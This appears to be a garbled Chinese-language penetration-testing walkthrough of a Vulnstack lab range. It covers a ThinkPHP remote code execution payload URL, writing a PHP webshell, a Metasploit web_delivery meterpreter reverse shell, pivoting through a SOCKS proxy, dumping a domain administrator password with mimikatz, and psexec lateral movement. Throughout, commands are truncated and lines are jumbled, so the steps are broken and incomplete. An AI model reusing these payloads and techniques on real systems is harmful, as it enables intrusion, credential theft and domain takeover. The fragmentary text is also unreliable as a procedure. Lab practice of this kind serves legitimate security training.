渗透三

http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

2、环境拓扑

1.VMware新建网卡VMnet6选择仅主机模式并将网段IP设置为192.168.138.0

模拟外网IP192.168.111.129在Win7主机开启IP自动获取

内网IP192.168.138.136

http://192.168.111.129#尝试页面报错获取thinkphp具体版本

http://192.168.111.129/?s13.搜索thinkphp相关漏洞

searchsploit

/usr/share/exploitdb/exploits/php/webapps

cat

由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造该功能利用

$_POST[‘_method’]

来传递真实的请求方法。

但由于框架没有对参数进行验证导致攻击者可以设置

而让该类的变量被覆盖。

攻击者利用该方式将filter变量覆盖为system等函数名当内部进行参数过滤时便会进行执行任意命令。

http://192.168.111.129/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami6.写入webshell

echo

shell.phphttp://192.168.111.129/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]echo

?php

shell.phphttp://192.168.111.129/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]dir7.蚁剑连接

shellhttp://192.168.111.129/shell.php三

内网信息收集

双网卡外网ip192.168.111.129内网ip192.168.138.136

2.执行whoami

域控制器为DC$域名为sun.com域管理员为Administrator。

ping

横向移动

是一个多功能模块可在托管有效负载的攻击机器上创建服务器。

当受害者连接到攻击服务器时负载将在受害者机器上执行。

此漏洞需要一种在受害机器上执行命令的方法。

特别是你必须能够从受害者到达攻击机器。

远程命令执行是使用此模块的攻击向量的一个很好的例子。

Web

Delivery脚本适用于phppython和基于PowerShell的应用程序。

use

exploit/multi/script/web_delivery

set

windows/meterpreter/reverse_tcp

set

run蚁剑执行生成的payload反弹回一个meterpreter的shell

2.添加路由

在msfconsole里面添加一个通向192.168.138.0网段的路由

route

1234Win7上传ew_for_Win.exe并执行如下命令

start

将socks5服务器指向127.0.0.1:1080便可以使用proxychains将我们的程序代理进内网。

vim

sekurlsa::logonPasswords抓取到域管理员账号密码AdministratorTest1234

4.3

1.使用exploit/windows/smb/psexec模块

use

unablefirewall3.使用exploit/windows/smb/psexec模块

4.4